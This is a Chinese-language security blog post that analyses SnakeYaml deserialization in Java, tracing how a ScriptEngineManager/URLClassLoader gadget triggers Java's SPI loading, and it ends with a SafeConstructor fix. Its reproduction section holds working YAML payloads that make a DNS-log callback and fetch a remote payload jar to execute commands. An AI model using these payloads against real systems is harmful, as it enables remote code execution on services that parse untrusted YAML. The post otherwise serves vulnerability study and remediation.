Java安全之SnakeYaml反序列化分析
0x00 前言
偶然間看到SnakeYaml
的資料感覺挺有意思,發現SnakeYaml
也存在反序列化利用的問題。借此來分析一波。
0x01 SnakeYaml 使用
SnakeYaml 簡介
SnakeYaml
是用來解析yaml的格式,可用於Java對象的序列化、反序列化。
SnakeYaml 使用
導入依賴jar包
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
常用方法
String dump(Object data)
將Java對象序列化為YAML字符串。
void dump(Object data, Writer output)
將Java對象序列化為YAML流。
String dumpAll(Iterator<? extends Object> data)
將一系列Java對象序列化為YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
將一系列Java對象序列化為YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
將Java對象序列化為YAML字符串。
String dumpAsMap(Object data)
將Java對象序列化為YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文檔,並生成相應的Java對象。
<T> T load(Reader io)
解析流中唯一的YAML文檔,並生成相應的Java對象。
<T> T load(String yaml)
解析字符串中唯一的YAML文檔,並生成相應的Java對象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文檔,並生成相應的Java對象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文檔,並生成相應的Java對象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文檔,並生成相應的Java對象。
序列化
Myclass類:
package test;
public class MyClass {
String value;
public MyClass(String args) {
value = args;
}
public String getValue(){
return value;
}
}
Test類:
@Test
public void test() {
MyClass obj = new MyClass("this is my data");
Map<String, Object> data = new HashMap<String, Object>();
data.put("MyClass", obj);
Yaml yaml = new Yaml();
String output = yaml.dump(data);
System.out.println(output);
}
}
結果:
MyClass: !!test.MyClass {}
前面的!!
是用於強制類型轉化,強制轉換為!!
后指定的類型,其實這個和Fastjson的@type
有着異曲同工之妙。用於指定反序列化的全類名。
反序列化
yaml文件:
firstName: "John"
lastName: "Doe"
age: 20
測試類:
@Test
public void test(){
Yaml yaml = new Yaml();
InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
Object load = yaml.load(resourceAsStream);
System.out.println(load);
}
}
執行結果:
{firstName=John, lastName=Doe, age=20}
0x02 漏洞分析
漏洞復現
首先還是先來復現一下漏洞,能進行利用后再進行分析利用過程。
下面來看到一段POC代碼:
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fnsdae.dnslog.cn\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(context);
}
}
成功獲取dnslog請求,但是這poc也只能探測是否進行了反序列化。如果需要利用的話還需要構造命令執行的代碼。
利用腳本其實已經有師傅寫好了。轉到這個github項目下下載該項目。打開修改代碼。
腳本也比較簡單,就是實現了ScriptEngineFactory
接口,然后在靜態代碼塊處填寫需要執行的命令。將項目打包后掛載到web端,使用payload進行反序列化后請求到該位置,實現java.net.URLClassLoader
調用遠程的類進行執行命令。
python -m http.server --cgi 8888
測試代碼:
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}
命令執行成功。
SPI機制
在漏洞分析前先來了解一下SPI機制,在前面使用的執行代碼的payload中看到使用ScriptEngineManager
類來進行構造,其實ScriptEngineManager
利用的的底層也是SPI機制。
SPI ,全稱為 Service Provider Interface,是一種服務發現機制。它通過在ClassPath路徑下的META-INF/services文件夾查找文件,自動加載文件里所定義的類。也就是動態為某個接口尋找服務實現。
那么如果需要使用 SPI 機制需要在Java classpath 下的 META-INF/services/
目錄里創建一個以服務接口命名的文件,這個文件里的內容就是這個接口的具體的實現類。
在第一次聽說SPI還是在看JDBC底層實現的時候,但是並沒有去做多的了解。這里拿JDBC來舉個例子。
SPI是一種動態替換發現的機制,比如有個接口,想運行時動態的給它添加實現,你只需要添加一個實現。
來看到連接驅動的jar包,這里就是在Java classpath 下的 META-INF/services/
定義實現類。
而數據庫有很多種類型,而實現方式不盡相同,而在實現各種連接驅動的時候,只需要添加java.sql.Driver
實現接口,然后Java的SPI機制可以為某個接口尋找服務實現,就實現了各種數據庫的驅動連接。
實現細節:程序會java.util.ServiceLoder
動態裝載實現模塊,在META-INF/services
目錄下的配置文件尋找實現類的類名,通過Class.forName
加載進來,newInstance()
反射創建對象,並存到緩存和列表里面。
漏洞分析
先來簡單講講我理解的該漏洞利用的過程,建立在未對該漏洞分析前。
前面說到SPI會通過java.util.ServiceLoder
進行動態加載實現,而在剛剛的exp的代碼里面實現了ScriptEngineFactory
並在META-INF/services/
里面添加了實現類的類名,而該類在靜態代碼塊處是我們的執行命令的代碼,而在調用的時候,SPI機制通過Class.forName
反射加載並且newInstance()
反射創建對象的時候,靜態代碼塊進行執行,從而達到命令執行的目的。
下面開始調試分析漏洞,在漏洞位置下斷點
這里調用this.loadFromReader
跟蹤查看
以上就是各種賦值,需要注意的是數據的流向,這里沒啥好看的,來步進到下面,下面的返回值調用constructor.getSingleData
跟蹤。
這里並沒有走到判斷體里面而是直接返回並且調用了this.constructDocument()
,跟進。
這里調用this.constructObject
就返回了一個Object對象,所以繼續從這個方法跟進進去,查看實現。
跟進constructObjectNoCheck
這個點先跟蹤 getConstructor
這里還是返回了一個反射的class對象,繼續跟。
這里獲取了name的值為javax.script.ScriptEngineManager
,然后調用getClassForName
對name進行傳入獲取cl的class對象。跟蹤getClassForName
。
在這里就可以看到使用反射創建了一個javax.script.ScriptEngineManager
對象的具體實現,而后面代碼則是一些賦值的。執行到下一步來到了這個。
跟蹤construct
方法查看,到了這部分其實就已經到了關鍵部分。
看到這段代碼創建了一個array數組,並且調用node.getType.getDeclaredConstructors();
賦值給arr$
數組,回想前面的分析中,獲取的name,也就是利用了javax.script.ScriptEngineManager
,Class.forName
進行創建反射對象並且賦值給note的type里面。而后這里getDeclaredConstructors()
獲取它的無參構造方法。
然后將獲取到的arr數組添加到possibleConstructors
而后將獲取到的possibleConstructors
獲取到的第一個數組進行賦值並轉換成Constructor
類型
這里回去遍歷獲取snode的值。
這里進行使用反射實例化對象。
到了這里以為就結束了嘛?不是的,其實我們現在只是知道了javax.script.ScriptEngineManager
是如何進行實例化的,但我們並不知道javax.script.ScriptEngineManager
實例化后是如何觸發的代碼執行。下面可以來跟蹤一下SPI機制是怎么實現的。
在前面反射調用無參構造方法后,會走到這里,下面調用init方法跟蹤一下。
跟蹤
看到這里其實就和前面講到的SPI機制一樣,調用getServiceLoader
動態加載類,這里先在慢慢往下看
跟進該地方會看到調用hasNextService
方法
這里會去META-INF/services/javax.script.ScriptEngineFactory
獲取實現類的信息
下面再來跟進itr.text
這里會去實例化接口的實現類
走到這一步命令執行成功。
0x03 漏洞修復
其實該漏洞涉及到了全版本,只要反序列化內容可控,那么就可以去進行反序列化攻擊
修復方案:加入new SafeConstructor()
類進行過濾
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}
再次進行反序列化會拋異常。
再者就是拒絕不安全的反序列化操作,反序列化數據前需要經過校驗或拒絕反序列化數據可控。
0x04 結尾
在審計中其實就可以直接定位yaml.load();
,然后進行回溯,如若參數可控,那么就可以嘗試傳入payload。但又出現另外一個問題,假如不出網的情況,是不是有很好的解決方案呢?